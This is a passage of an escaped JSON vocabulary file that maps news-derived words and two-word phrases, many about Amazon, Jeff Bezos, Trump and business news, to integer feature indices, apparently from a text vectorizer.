143968,\n  \"cnn don\": 143969,\n  \"eventful adventure\": 143970,\n  \"note investors\": 143971,\n  \"better drink\": 143972,\n  \"fresh progressive\": 143973,\n  \"sizes panoramic\": 143974,\n  \"novelty\": 143975,\n  \"potent weapons\": 143976,\n  \"2016 presidential\": 143977,\n  \"swirling\": 143978,\n  \"exorcises monsters\": 143979,\n  \"released dvd\": 143980,\n  \"typically dry\": 143981,\n  \"confirm\": 143982,\n  \"recent stories\": 143983,\n  \"squishy\": 143984,\n  \"stories illustrate\": 143985,\n  \"2018 documentary\": 143986,\n  \"judgment calls\": 143987,\n  \"telecasts\": 143988,\n  \"delivery walmart\": 143989,\n  \"headline walmart\": 143990,\n  \"quips jon\": 143991,\n  \"wantto\": 143992,\n  \"russia putin\": 143993,\n  \"surrounding neighborhood\": 143994,\n  \"promised families\": 143995,\n  \"coveted white\": 143996,\n  \"tweeted yesterday\": 143997,\n  \"york train\": 143998,\n  \"iframes insecure\": 143999,\n  \"cathdral\": 144000,\n  \"containerid replace\": 144001,\n  \"2019 qanon\": 144002,\n  \"1195\": 144003,\n  \"benefits transfer\": 144004,\n  \"undertook\": 144005,\n  \"894 new\": 144006,\n  \"reporting ami\": 144007,\n  \"win contracts\": 144008,\n  \"wedding anniversary\": 144009,\n  \"increasing attention\": 144010,\n  \"campus accountability\": 144011,\n  \"affordable service\": 144012,\n  \"airbus\": 144013,\n  \"media ceo\": 144014,\n  \"foreign growth\": 144015,\n  \"beloved children\": 144016,\n  \"step right\": 144017,\n  \"sharing remained\": 144018,\n  \"tellado\": 144019,\n  \"friendly text\": 144020,\n  \"ladd tells\": 144021,\n  \"pharmacy tasks\": 144022,\n  \"selling child\": 144023,\n  \"parcels nonetheless\": 144024,\n  \"results 2018\": 144025,\n  \"taking names\": 144026,\n  \"india collective\": 144027,\n  \"645\": 144028,\n  \"punching trump\": 144029,\n  \"shop brave\": 144030,\n  \"effectiveness\": 144031,\n  \"large accounting\": 144032,\n  \"work nat\": 144033,\n  \"tech incubator\": 144034,\n  \"security implications\": 144035,\n  \"yearlong search\": 144036,\n  \"reside\": 144037,\n  \"york departure\": 144038,\n  \"select single\": 144039,\n  \"broward state\": 144040,\n  \"don collect\": 144041,\n  \"fbi investigated\": 144042,\n  \"huma abedin\": 144043,\n  \"insights called\": 144044,\n  \"started moving\": 144045,\n  \"haven changed\": 144046,\n  \"place says\": 144047,\n  \"team understands\": 144048,\n  \"paper staff\": 144049,\n  \"heartsick\": 144050,\n  \"drug spoon\": 144051,\n  \"clovery\": 144052,\n  \"biggest loser\": 144053,\n  \"basis points\": 144054,\n  \"paraiba image\": 144055,\n  \"workers lost\": 144056,\n  \"fed board\": 144057,\n  \"left group\": 144058,\n  \"tim mullaney\": 144059,\n  \"city high\": 144060,\n  \"action smaller\": 144061,\n  \"plate\": 144062,\n  \"naa adai\": 144063,\n  \"magana ap\": 144064,\n  \"q0 t9x\": 144065,\n  \"times really\": 144066,\n  \"lanterns\": 144067,\n  \"rebuked amazon\": 144068,\n  \"silliness\": 144069,\n  \"mastrel\": 144070,\n  \"moore saga\": 144071,\n  \"approach gold\": 144072,\n  \"emphasize testing\": 144073,\n  \"howard reportedly\": 144074,\n  \"boricua twang\": 144075,\n  \"amazon stumbles\": 144076,\n  \"wealth amazon\": 144077,\n  \"medill school\": 144078,\n  \"rocked silicon\": 144079,\n  \"2019 fortune\": 144080,\n  \"trump chuck\": 144081,\n  \"scotus louisiana\": 144082,\n  \"case say\": 144083,\n  \"jews accepted\": 144084,\n  \"currently embroiled\": 144085,\n  \"cemetery\": 144086,\n  \"federal program\": 144087,\n  \"matt hubbard\": 144088,\n  \"poorer 2017\": 144089,\n  \"amazon outlook\": 144090,\n  \"mylesmill\": 144091,\n  \"group saw\": 144092,\n  \"nominated people\": 144093,\n  \"continue 2018\": 144094,\n  \"tesla stock\": 144095,\n  \"aaron spelling\": 144096,\n  \"chairperson anti\": 144097,\n  \"racism washington\": 144098,\n  \"stores seeing\": 144099,\n  \"expressed commitment\": 144100,\n  \"hq2 evenly\": 144101,\n  \"difference tucker\": 144102,\n  \"content type\": 144103,\n  \"causes controversy\": 144104,\n  \"rigs\": 144105,\n  \"choppy waters\": 144106,\n  \"push companies\": 144107,\n  \"rbg justice\": 144108,\n  \"famously close\": 144109,\n  \"bezos click\": 144110,\n  \"contact brendan\": 144111,\n  \"quipped unless\": 144112,\n  \"apply tax\": 144113,\n  \"today zacks\": 144114,\n  \"typically stem\": 144115,\n  \"local traders\": 144116,\n  \"ryan amazon\": 144117,\n  \"091\": 144118,\n  \"represent genuine\": 144119,\n  \"commissioner jessica\": 144120,\n  \"unit value\": 144121,\n  \"clogged ken\": 144122,\n  \"3a\": 144123,\n  \"leader nancy\": 144124,\n  \"low corn\": 144125,\n  \"brief meeting\": 144126,\n  \"president abraham\": 144127,\n  \"belgrade\": 144128,\n  \"migrate military\": 144129,\n  \"perks\": 144130,\n  \"point vestager\": 144131,\n  \"bull market\": 144132,\n  \"certain technical\": 144133,\n  \"osgood\": 144134,\n  \"counterfeiting amazon\": 144135,\n  \"thresholds avoid\": 144136,\n  \"day looking\": 144137,\n  \"men novelty\": 144138,\n  \"lonely childhood\": 144139,\n  \"offense given\": 144140,\n  \"emergency andrew\": 144141,\n  \"tempered child\": 144142,\n  \"punish postal\": 144143,\n  \"month reuters\": 144144,\n  \"iconic looks\": 144145,\n  \"drink choice\": 144146,\n  \"tax happen\": 144147,\n  \"warned repeatedly\": 144148,\n  \"client expertise\": 144149,\n  \"honor thy\": 144150,\n  \"general michael\": 144151,\n  \"adults watch\": 144152,\n  \"face increased\": 144153,\n  \"appoints people\": 144154,\n  \"freedom schiff\": 144155,\n  \"analysts revenue\": 144156,\n  \"analytica episode\": 144157,\n  \"fly trump\": 144158,\n  \"lobbying budget\": 144159,\n  \"crude oil\": 144160,\n  \"begging amazon\": 144161,\n  \"organization expressed\": 144162,\n  \"ami plan\": 144163,\n  \"companies opening\": 144164,\n  \"general cancer\": 144165,\n  \"entirety vestager\": 144166,\n  \"amazon agenda\": 144167,\n  \"decent retirement\": 144168,\n  \"millennial pink\": 144169,\n  \"reminiscent\": 144170,\n  \"portals\": 144171,\n  \"organisation president\": 144172,\n  \"minnesota\": 144173,\n  \"discounts\": 144174,\n  \"resistance movement\": 144175,\n  \"tohakrvr4h nws\": 144176,\n  \"parliament according\": 144177,\n  \"ottoman era\": 144178,\n  \"antitrust fair\": 144179,\n  \"nation editorial\": 144180,\n  \"amazon mta\": 144181,\n  \"sexism ageism\": 144182,\n  \"view\": 144183,\n  \"statement ami\": 144184,\n  \"2017 gay\": 144185,\n  \"oz residents\": 144186,\n  \"litmus test\": 144187,\n  \"setups\": 144188,\n  \"william mann\": 144189,\n  \"says state\": 144190,\n  \"shares outstanding\": 144191,\n  \"holdings giving\": 144192,\n  \"enterprise messaging\": 144193,\n  \"urban community\": 144194,\n  \"ptsd indonesia\": 144195,\n  \"infrastructure inside\": 144196,\n  \"look spectacular\": 144197,\n  \"amazon accidentally\": 144198,\n  \"sought lost\": 144199,\n  \"issues tariffs\": 144200,\n  \"isolate\": 144201,\n  \"represented ami\": 144202,\n  \"weapon\": 144203,\n  \"commercial scale\": 144204,\n  \"jumps 12bn\": 144205,\n  \"cheery\": 144206,\n  \"turnout push\": 144207,\n  \"reuters white\": 144208,\n  \"conditions suggest\": 144209,\n  \"times pete\": 144210,\n  \"trading limited\": 144211,\n  \"badly wanted\": 144212,\n  \"disbar\": 144213,\n  \"elite criticism\": 144214,\n  \"consent regarding\": 144215,\n  \"wife governed\": 144216,\n  \"advised employees\": 144217,\n  \"revelation\": 144218,\n  \"extolling virtues\": 144219,\n  \"weinswig\": 144220,\n  \"evidence bezos\": 144221,\n  \"100 person\": 144222,\n  \"sale numbers\": 144223,\n  \"date compared\": 144224,\n  \"major charitable\": 144225,\n  \"oneself\": 144226,\n  \"action lately\": 144227,\n  \"interprets\": 144228,\n  \"cleveland tennessee\": 144229,\n  \"rhetorical\": 144230,\n  \"work closely\": 144231,\n  \"deliberations brennan\": 144232,\n  \"recently shopping\": 144233,\n  \"forwarding\": 144234,\n  \"bloomberg aim\": 144235,\n  \"tech strength\": 144236,\n  \"surprise bezos\": 144237,\n  \"pine beetle\": 144238,\n  \"providing financial\": 144239,\n  \"carrell bezo\": 144240,\n  \"statt\": 144241,\n  \"hassett meredith\": 144242,\n  \"unfair subsidy\": 144243,\n  \"1316 bought\": 144244,\n  \"taxes required\": 144245,\n  \"half stars\": 144246,\n  \"leaking team\": 144247,\n  \"called mueller\": 144248,\n  \"target don\": 144249,\n  \"1996\": 144250,\n  \"safety conditions\": 144251,\n  \"market oil\": 144252,\n  \"bezos private\": 144253,\n  \"apatow\": 144254,\n  \"technology journalist\": 144255,\n  \"youtube conspiracy\": 144256,\n  \"remain competitive\": 144257,\n  \"best bed\": 144258,\n  \"departure\": 144259,\n  \"unrelenting\": 144260,\n  \"delong joanne\": 144261,\n  \"asset returns\": 144262,\n  \"syrian refugee\": 144263,\n  \"terrorist attacks\": 144264,\n  \"derail trump\": 144265,\n  \"tdopp\": 144266,\n  \"delivery companies\": 144267,\n  \"kavanaugh headlineplaintext\": 144268,\n  \"waterfront including\": 144269,\n  \"projects funded\": 144270,\n  \"unacknowledged\": 144271,\n  \"owned grocer\": 144272,\n  \"nongovernmental individuals\": 144273,\n  \"spent fixing\": 144274,\n  \"helped facilitate\": 144275,\n  \"columbia university\": 144276,\n  \"london soho\": 144277,\n  \"headlineplaintext cooper\": 144278,\n  \"media continues\": 144279,\n  \"email probe\": 144280,\n  \"proposition\": 144281,\n  \"amazon motto\": 144282,\n  \"appear saner\": 144283,\n  \"day global\": 144284,\n  \"china rebound\": 144285,\n  \"colleges 2018\": 144286,\n  \"williams president\": 144287,\n  \"dow slumps\": 144288,\n  \"tonky winky\": 144289,\n  \"giant eclipsed\": 144290,\n  \"wisconsin gov\": 144291,\n  \"oaktree capital\": 144292,\n  \"wolf publisher\": 144293,\n  \"schlosser geekwire\": 144294,\n  \"amazon buseyisms\": 144295,\n  \"amazon 1195\": 144296,\n  \"reported download\": 144297,\n  \"really clicked\": 144298,\n  \"deal began\": 144299,\n  \"whirlwind tour\": 144300,\n  \"learned earlier\": 144301,\n  \"left appear\": 144302,\n  \"hanna reported\": 144303,\n  \"metaphorical headaches\": 144304,\n  \"point shoppers\": 144305,\n  \"state according\": 144306,\n  \"city image\": 144307,\n  \"revenue channel\": 144308,\n  \"divisive political\": 144309,\n  \"heat airs\": 144310,\n  \"plumbing\": 144311,\n  \"shook throwaway\": 144312,\n  \"wore purple\": 144313,\n  \"crash test\": 144314,\n  \"director chair\": 144315,\n  \"wife sanchez\": 144316,\n  \"kahan\": 144317,\n  \"reserve quantitative\": 144318,\n  \"government insisted\": 144319,\n  \"concealed\": 144320,\n  \"simply disregard\": 144321,\n  \"bloomberg emissaries\": 144322,\n  \"companies argues\": 144323,\n  \"370\": 144324,\n  \"agency financial\": 144325,\n  \"micromanage\": 144326,\n  \"creating sustainable\": 144327,\n  \"tiger nasdaq\": 144328,\n  \"legit amazon\": 144329,\n  \"stock moves\": 144330,\n  \"years driving\": 144331,\n  \"nunberg\": 144332,\n  \"democrats seek\": 144333,\n  \"metapack significant\": 144334,\n  \"remit sales\": 144335,\n  \"oil price\": 144336,\n  \"jersey warehouse\": 144337,\n  \"did slightly\": 144338,\n  \"farrington\": 144339,\n  \"later publish\": 144340,\n  \"pinterest apparently\": 144341,\n  \"socialite fought\": 144342,\n  \"tumult\": 144343,\n  \"craig timberg\": 144344,\n  \"phrase alternative\": 144345,\n  \"historic prosperity\": 144346,\n  \"minute plan\": 144347,\n  \"offered billions\": 144348,\n  \"chain kroger\": 144349,\n  \"intelligence cloud\": 144350,\n  \"eyed readers\": 144351,\n  \"big headache\": 144352,\n  \"krugman new\": 144353,\n  \"firster caller\": 144354,\n  \"0938et copyright\": 144355,\n  \"mueller rejected\": 144356,\n  \"wasserman schultz\": 144357,\n  \"mackey annoyance\": 144358,\n  \"free loan\": 144359,\n  \"director bezos\": 144360,\n  \"accessories\": 144361,\n  \"scathing joint\": 144362,\n  \"priced higher\": 144363,\n  \"tire installation\": 144364,\n  \"struggling postal\": 144365,\n  \"media accuracy\": 144366,\n  \"assets 181007060449\": 144367,\n  \"journalist added\": 144368,\n  \"amazon innovation\": 144369,\n  \"eat plates\": 144370,\n  \"renewed annually\": 144371,\n  \"rekognition spokesperson\": 144372,\n  \"oregon reports\": 144373,\n  \"issuing temporary\": 144374,\n  \"bash\": 144375,\n  \"care wages\": 144376,\n  \"amid outrage\": 144377,\n  \"factories frank\": 144378,\n  \"photo autoplay\": 144379,\n  \"unity soundbite\": 144380,\n  \"yiwu wenxuan\": 144381,\n  \"acknowledged\": 144382,\n  \"daniel politico\": 144383,\n  \"apple tim\": 144384,\n  \"legendary hollywood\": 144385,\n  \"cyberspace\": 144386,\n  \"miles 130\": 144387,\n  \"companies lowest\": 144388,\n  \"undergoing constant\": 144389,\n  \"fy16\": 144390,\n  \"environmental cost\": 144391,\n  \"skynews amazon\": 144392,\n  \"amazon corporate\": 144393,\n  \"inclusionary\": 144394,\n  \"faster growing\": 144395,\n  \"anderson director\": 144396,\n  \"axios report\": 144397,\n  \"billion richest\": 144398,\n  \"trump postpones\": 144399,\n  \"peppler clarkson\": 144400,\n  \"politically leftist\": 144401,\n  \"comptroller susana\": 144402,\n  \"richmond hoosiers\": 144403,\n  \"jobs construction\": 144404,\n  \"unpaved br\": 144405,\n  \"telltale sign\": 144406,\n  \"reducing overcrowding\": 144407,\n  \"fast start\": 144408,\n  \"amazon avoiding\": 144409,\n  \"economics amazon\": 144410,\n  \"ceo reed\": 144411,\n  \"11justices davidoatkins\": 144412,\n  \"insult hopefully\": 144413,\n  \"d8 j8i\": 144414,\n  \"randymh randymh\": 144415,\n  \"labor cost\": 144416,\n  \"retailing group\": 144417,\n  \"impose roughly\": 144418,\n  \"crown prince\": 144419,\n  \"privacy rights\": 144420,\n  \"ominously\": 144421,\n  \"twitter zguz\": 144422,\n  \"futures unroll\": 144423,\n  \"gtld process\": 144424,\n  \"negotiations occurred\": 144425,\n  \"stephanie butnick\": 144426,\n  \"right education\": 144427,\n  \"nation warts\": 144428,\n  \"site administrators\": 144429,\n  \"start compiling\": 144430,\n  \"retailers sales\": 144431,\n  \"department led\": 144432,\n  \"privately financed\": 144433,\n  \"delayed implementing\": 144434,\n  \"die iq\": 144435,\n  \"valuations people\": 144436,\n  \"dramatically scale\": 144437,\n  \"feelgoods\": 144438,\n  \"hold elon\": 144439,\n  \"hess halliburton\": 144440,\n  \"protections gradually\": 144441,\n  \"malmquist acknowledges\": 144442,\n  \"afghan pullout\": 144443,\n  \"hit bezos\": 144444,\n  \"deal 2018\": 144445,\n  \"307\": 144446,\n  \"mccartney lily\": 144447,\n  \"daniel coats\": 144448,\n  \"based businesses\": 144449,\n  \"ruchika\": 144450,\n  \"completely break\": 144451,\n  \"faux nikes\": 144452,\n  \"whitefish project\": 144453,\n  \"traded companies\": 144454,\n  \"better spent\": 144455,\n  \"world holding\": 144456,\n  \"reviews insightful\": 144457,\n  \"prodigious output\": 144458,\n  \"risking return\": 144459,\n  \"trump preoccupation\": 144460,\n  \"donkey \\u0430knocked\\u0430\": 144461,\n  \"lemoyne owen\": 144462,\n  \"2018 tester\": 144463,\n  \"recent developments\": 144464,\n  \"tiffany\": 144465,\n  \"cnn laura\": 144466,\n  \"coal products\": 144467,\n  \"billionaire boondoggle\": 144468,\n  \"impunity\": 144469,\n  \"opioid painkiller\": 144470,\n  \"woman named\": 144471,\n  \"chief political\": 144472,\n  \"free books\": 144473,\n  \"legal monitor\": 144474,\n  \"turquoise\": 144475,\n  \"capito\": 144476,\n  \"specialists\": 144477,\n  \"howthe negative\": 144478,\n  \"joint drills\": 144479,\n  \"bassin agreed\": 144480,\n  \"allow consumers\": 144481,\n  \"resistance nunes\": 144482,\n  \"companies hope\": 144483,\n  \"political history\": 144484,\n  \"essentially set\": 144485,\n  \"bestselling author\": 144486,\n  \"television television\": 144487,\n  \"score big\": 144488,\n  \"refined\": 144489,\n  \"administration prompting\": 144490,\n  \"average slid\": 144491,\n  \"service assume\": 144492,\n  \"sorting facilities\": 144493,\n  \"world sulzberger\": 144494,\n  \"sharp dips\": 144495,\n  \"burger restaurant\": 144496,\n  \"republic feedback\": 144497,\n  \"offered set\": 144498,\n  \"pentagon appears\": 144499,\n  \"suffered big\": 144500,\n  \"barrels\": 144501,\n  \"inclusiveness getting\": 144502,\n  \"cocktail hour\": 144503,\n  \"imposes\": 144504,\n  \"tagged books\": 144505,\n  \"abuse suggested\": 144506,\n  \"considered truly\": 144507,\n  \"earn\": 144508,\n  \"daring revelations\": 144509,\n  \"watch company\": 144510,\n  \"police teen\": 144511,\n  \"women preachers\": 144512,\n  \"840 billion\": 144513,\n  \"economically speaking\": 144514,\n  \"states usually\": 144515,\n  \"britain exit\": 144516,\n  \"amazon anti\": 144517,\n  \"1011thewiz yea\": 144518,\n  \"cook visited\": 144519,\n  \"graduation\": 144520,\n  \"scottish\": 144521,\n  \"yielded results\": 144522,\n  \"collude\": 144523,\n  \"conservation units\": 144524,\n  \"concrete steps\": 144525,\n  \"plus coca\": 144526,\n  \"contracting tech\": 144527,\n  \"enormous power\": 144528,\n  \"expect brazil\": 144529,\n  \"youtube outstanding\": 144530,\n  \"olaf\": 144531,\n  \"policies including\": 144532,\n  \"prospective jobs\": 144533,\n  \"rex curry\": 144534,\n  \"emperor\": 144535,\n  \"targeting single\": 144536,\n  \"know ran\": 144537,\n  \"fda announced\": 144538,\n  \"scare away\": 144539,\n  \"sworn declarations\": 144540,\n  \"currency changes\": 144541,\n  \"possibility\": 144542,\n  \"including fox\": 144543,\n  \"awarding amazon\": 144544,\n  \"specify trump\": 144545,\n  \"subsections national\": 144546,\n  \"shop bodies\": 144547,\n  \"president wouldget\": 144548,\n  \"rt\": 144549,\n  \"level donations\": 144550,\n  \"outlays\": 144551,\n  \"counts national\": 144552,\n  \"headquartered\": 144553,\n  \"history passed\": 144554,\n  \"national regulatory\": 144555,\n  \"filibuster\": 144556,\n  \"high cpi\": 144557,\n  \"135 easy\": 144558,\n  \"violent\": 144559,\n  \"wool clothes\": 144560,\n  \"p7a 1812296334\": 144561,\n  \"florida oysters\": 144562,\n  \"inflamed\": 144563,\n  \"debate jostled\": 144564,\n  \"despite major\": 144565,\n  \"democrat claims\": 144566,\n  \"pentagon rigged\": 144567,\n  \"cloud storage\": 144568,\n  \"current way\": 144569,\n  \"brown\": 144570,\n  \"videocardcontents datecreated\": 144571,\n  \"just hopes\": 144572,\n  \"abatements\": 144573,\n  \"congressional republicans\": 144574,\n  \"piloting program\": 144575,\n  \"elevation set\": 144576,\n  \"rare brain\": 144577,\n  \"briefly suspended\": 144578,\n  \"city policies\": 144579,\n  \"applications bartiromo\": 144580,\n  \"calif brown\": 144581,\n  \"unsavory actions\": 144582,\n  \"997 children\": 144583,\n  \"necessarily good\": 144584,\n  \"giant officials\": 144585,\n  \"fistula growing\": 144586,\n  \"black cat\": 144587,\n  \"video uploaded\": 144588,\n  \"latest escalation\": 144589,\n  \"candidate martha\": 144590,\n  \"including apparel\": 144591,\n  \"bungle\": 144592,\n  \"sexist implication\": 144593,\n  \"jedi puts\": 144594,\n  \"lara\": 144595,\n  \"improve\": 144596,\n  \"final price\": 144597,\n  \"george just\": 144598,\n  \"market chukumba\": 144599,\n  \"tweeting critical\": 144600,\n  \"city plan\": 144601,\n  \"shortest\": 144602,\n  \"r4ee f4e\": 144603,\n  \"kill bad\": 144604,\n  \"marsha blackburnmarsha\": 144605,\n  \"states post\": 144606,\n  \"ringer dim\": 144607,\n  \"carell poked\": 144608,\n  \"prime really\": 144609,\n  \"baba\": 144610,\n  \"elemental technologies\": 144611,\n  \"illicit sugar\": 144612,\n  \"sales perspective\": 144613,\n  \"new deal\": 144614,\n  \"encountered imposter\": 144615,\n  \"teachers worry\": 144616,\n  \"governance issues\": 144617,\n  \"bezos trip\": 144618,\n  \"handmaiden helms\": 144619,\n  \"nhl team\": 144620,\n  \"ravages\": 144621,\n  \"weber\": 144622,\n  \"amazon employs\": 144623,\n  \"407\": 144624,\n  \"infringement complaints\": 144625,\n  \"restorative\": 144626,\n  \"year trying\": 144627,\n  \"seller tactics\": 144628,\n  \"amzn date\": 144629,\n  \"wage theft\": 144630,\n  \"storms temperatures\": 144631,\n  \"buys jim\": 144632,\n  \"paying little\": 144633,\n  \"level earlier\": 144634,\n  \"rating according\": 144635,\n  \"alison brie\": 144636,\n  \"deforestation rainforest\": 144637,\n  \"contending amazon\": 144638,\n  \"trade tax\": 144639,\n  \"story titled\": 144640,\n  \"reflects attack\": 144641,\n  \"years barclays\": 144642,\n  \"southport\": 144643,\n  \"privatizers\": 144644,\n  \"cnbc want\": 144645,\n  \"just fulfillment\": 144646,\n  \"personal medical\": 144647,\n  \"figures documenting\": 144648,\n  \"competitive house\": 144649,\n  \"disney recent\": 144650,\n  \"submerged\": 144651,\n  \"accommodate caring\": 144652,\n  \"tank says\": 144653,\n  \"quite figured\": 144654,\n  \"assange wikileaks\": 144655,\n  \"line guidance\": 144656,\n  \"picking projects\": 144657,\n  \"unverified russian\": 144658,\n  \"criminal sentencing\": 144659,\n  \"larger losses\": 144660,\n  \"filed 250\": 144661,\n  \"development\": 144662,\n  \"ocasio\": 144663,\n  \"cuomo released\": 144664,\n  \"uk job\": 144665,\n  \"shopper spending\": 144666,\n  \"rahn\": 144667,\n  \"inevitable trouble\": 144668,\n  \"main carbon\": 144669,\n  \"pitchbook\": 144670,\n  \"amazon local\": 144671,\n  \"winning bidder\": 144672,\n  \"episodes given\": 144673,\n  \"country ellison\": 144674,\n  \"multinationals hold\": 144675,\n  \"518 8781\": 144676,\n  \"worse mike\": 144677,\n  \"push customers\": 144678,\n  \"outlet elizabeth\": 144679,\n  \"selling oil\": 144680,\n  \"1026et copyright\": 144681,\n  \"plan unveiled\": 144682,\n  \"susquehanna financial\": 144683,\n  \"stanford business\": 144684,\n  \"stuffy dressage\": 144685,\n  \"fulfillment quandary\": 144686,\n  \"underserved groups\": 144687,\n  \"requires national\": 144688,\n  \"instrumentalities\": 144689,\n  \"tour anti\": 144690,\n  \"half overs\": 144691,\n  \"exceedingly small\": 144692,\n  \"114 million\": 144693,\n  \"business plus\": 144694,\n  \"increasingly shifts\": 144695,\n  \"nerdwallet\": 144696,\n  \"undoubtedly exercised\": 144697,\n  \"jeff luck\": 144698,\n  \"ranges\": 144699,\n  \"search team\": 144700,\n  \"maloy simonmaloy\": 144701,\n  \"ba80967b7e99\": 144702,\n  \"linear\": 144703,\n  \"congratulations\": 144704,\n  \"executives attempting\": 144705,\n  \"dollar profits\": 144706,\n  \"help queens\": 144707,\n  \"india analysts\": 144708,\n  \"baldwin impersonation\": 144709,\n  \"computing contract\": 144710,\n  \"need spinach\": 144711,\n  \"second warning\": 144712,\n  \"prompt\": 144713,\n  \"punching bags\": 144714,\n  \"1992 following\": 144715,\n  \"ohio larry\": 144716,\n  \"3bn net\": 144717,\n  \"provide traditional\": 144718,\n  \"factored\": 144719,\n  \"mccann\": 144720,\n  \"carell mocks\": 144721,\n  \"tropical medicine\": 144722,\n  \"monumental collapse\": 144723,\n  \"planned contradicting\": 144724,\n  \"marketplace service\": 144725,\n  \"survival\": 144726,\n  \"heart dad\": 144727,\n  \"state runaway\": 144728,\n  \"juno\": 144729,\n  \"vague gibberish\": 144730,\n  \"bjarke ingels\": 144731,\n  \"coded items\": 144732,\n  \"wales\": 144733,\n  \"finalists bezos\": 144734,\n  \"did turn\": 144735,\n  \"solution solves\": 144736,\n  \"compliance exchange\": 144737,\n  \"confident feel\": 144738,\n  \"yorkers wanted\": 144739,\n  \"process zinke\": 144740,\n  \"style murder\": 144741,\n  \"liberal media\": 144742,\n  \"union supporters\": 144743,\n  \"handlers\": 144744,\n  \"kind gift\": 144745,\n  \"wallet amazon\": 144746,\n  \"basically decide\": 144747,\n  \"defense family\": 144748,\n  \"book deal\": 144749,\n  \"retirees health\": 144750,\n  \"public assistance\": 144751,\n  \"reflecting recent\": 144752,\n  \"bozo washington\": 144753,\n  \"pagex pagey\": 144754,\n  \"cim limited\": 144755,\n  \"bleak day\": 144756,\n  \"believe survivors\": 144757,\n  \"media embrace\": 144758,\n  \"island according\": 144759,\n  \"press lightrocket\": 144760,\n  \"exploiting usps\": 144761,\n  \"prurient details\": 144762,\n  \"rivera\": 144763,\n  \"guards\": 144764,\n  \"ufhonteva5 seth\": 144765,\n  \"assure\": 144766,\n  \"xom sgn\": 144767,\n  \"advertising\": 144768,\n  \"ago missing\": 144769,\n  \"remain alisha\": 144770,\n  \"videoplayer videoinstance\": 144771,\n  \"titan canopy\": 144772,\n  \"vanquished\": 144773,\n  \"efficiencies\": 144774,\n  \"drive amazon\": 144775,\n  \"new outlets\": 144776,\n  \"portable fabric\": 144777,\n  \"lawful tax\": 144778,\n  \"unblock people\": 144779,\n  \"behaved\": 144780,\n  \"hosts amazon\": 144781,\n  \"rodrigo junqueira\": 144782,\n  \"confirmation tersely\": 144783,\n  \"cortez magnet\": 144784,\n  \"client items\": 144785,\n  \"walmarts targets\": 144786,\n  \"senate democrat\": 144787,\n  \"clumsy attempt\": 144788,\n  \"senate commerce\": 144789,\n  \"costing taxpayers\": 144790,\n  \"rates earlier\": 144791,\n  \"palantir plays\": 144792,\n  \"game tournament\": 144793,\n  \"company valuation\": 144794,\n  \"insult fest\": 144795,\n  \"secretary john\": 144796,\n  \"mueller russia\": 144797,\n  \"assistant apple\": 144798,\n  \"false compassion\": 144799,\n  \"halt\": 144800,\n  \"played key\": 144801,\n  \"apparently wounded\": 144802,\n  \"usual single\": 144803,\n  \"war negotiations\": 144804,\n  \"availability submitted\": 144805,\n  \"man clout\": 144806,\n  \"screen adaptations\": 144807,\n  \"legitimate public\": 144808,\n  \"tra\": 144809,\n  \"portfolio 2018\": 144810,\n  \"previous broadsheets\": 144811,\n  \"maybe attractive\": 144812,\n  \"based commerce\": 144813,\n  \"tucker arlington\": 144814,\n  \"ramkumar\": 144815,\n  \"animals\": 144816,\n  \"frozen photo\": 144817,\n  \"president stweets\": 144818,\n  \"thing standing\": 144819,\n  \"fewer number\": 144820,\n  \"mkts close\": 144821,\n  \"husband casey\": 144822,\n  \"average dividend\": 144823,\n  \"holland\": 144824,\n  \"cooling growth\": 144825,\n  \"corporate state\": 144826,\n  \"philfrobisher\": 144827,\n  \"sorkin business\": 144828,\n  \"immigration enforcement\": 144829,\n  \"roads posted\": 144830,\n  \"deport reunited\": 144831,\n  \"centre ideally\": 144832,\n  \"controls close\": 144833,\n  \"accelerating foreclosure\": 144834,\n  \"beautiful regions\": 144835,\n  \"article cybersecurity\": 144836,\n  \"constitute obstruction\": 144837,\n  \"department joining\": 144838,\n  \"bic corporation\": 144839,\n  \"tariq hanna\": 144840,\n  \"akutagawa\": 144841,\n  \"company cares\": 144842,\n  \"unamazonian\": 144843,\n  \"moderates clearly\": 144844,\n  \"trending msnbc\": 144845,\n  \"stakes sooner\": 144846,\n  \"mass censorship\": 144847,\n  \"growth stocks\": 144848,\n  \"bolsonaro anti\": 144849,\n  \"big capital\": 144850,\n  \"paulo barreto\": 144851,\n  \"adult stepdaughter\": 144852,\n  \"gusts\": 144853,\n  \"claiming 104\": 144854,\n  \"pratt background\": 144855,\n  \"duty property\": 144856,\n  \"keratin\": 144857,\n  \"breakfast briefing\": 144858,\n  \"chiles\": 144859,\n  \"section 337\": 144860,\n  \"conard\": 144861,\n  \"decoratevideoapi var\": 144862,\n  \"schapperts case\": 144863,\n  \"capex investments\": 144864,\n  \"investigating amazon\": 144865,\n  \"undermine public\": 144866,\n  \"cannibalistic\": 144867,\n  \"verse\": 144868,\n  \"coach larry\": 144869,\n  \"love\": 144870,\n  \"heavy\": 144871,\n  \"reform thinking\": 144872,\n  \"calling mexican\": 144873,\n  \"conservatives excluding\": 144874,\n  \"crave worthy\": 144875,\n  \"new lawsuit\": 144876,\n  \"recorded level\": 144877,\n  \"draft doesn\": 144878,\n  \"ink factory\": 144879,\n  \"conf parkland\": 144880,\n  \"sharply shifted\": 144881,\n  \"checkpoints just\": 144882,\n  \"heiress francoise\": 144883,\n  \"workers amazon\": 144884,\n  \"largest producer\": 144885,\n  \"amazon rfp\": 144886,\n  \"interview colorado\": 144887,\n  \"technically start\": 144888,\n  \"amazon just\": 144889,\n  \"organizations remain\": 144890,\n  \"princess margaret\": 144891,\n  \"drivers ianniello\": 144892,\n  \"hurley\": 144893,\n  \"issued week\": 144894,\n  \"cause\": 144895,\n  \"memoirs\": 144896,\n  \"sun spots\": 144897,\n  \"autonomous cars\": 144898,\n  \"mechanisms including\": 144899,\n  \"collection returns\": 144900,\n  \"donnelly sold\": 144901,\n  \"just china\": 144902,\n  \"northeast powerful\": 144903,\n  \"aatish taseer\": 144904,\n  \"nonprofits say\": 144905,\n  \"treadmill amazon\": 144906,\n  \"smorodin university\": 144907,\n  \"brigitte brantley\": 144908,\n  \"wealth banks\": 144909,\n  \"science sports\": 144910,\n  \"kale\": 144911,\n  \"america friends\": 144912,\n  \"sliced\": 144913,\n  \"irresponsible lending\": 144914,\n  \"1999 donald\": 144915,\n  \"newswers\": 144916,\n  \"rights owner\": 144917,\n  \"recession technology\": 144918,\n  \"pressured alibaba\": 144919,\n  \"heads\": 144920,\n  \"intensely\": 144921,\n  \"grasslands desert\": 144922,\n  \"manila maduro\": 144923,\n  \"track security\": 144924,\n  \"heroines\": 144925,\n  \"colleagues look\": 144926,\n  \"shootings response\": 144927,\n  \"statement bezos\": 144928,\n  \"samsung\": 144929,\n  \"term margin\": 144930,\n  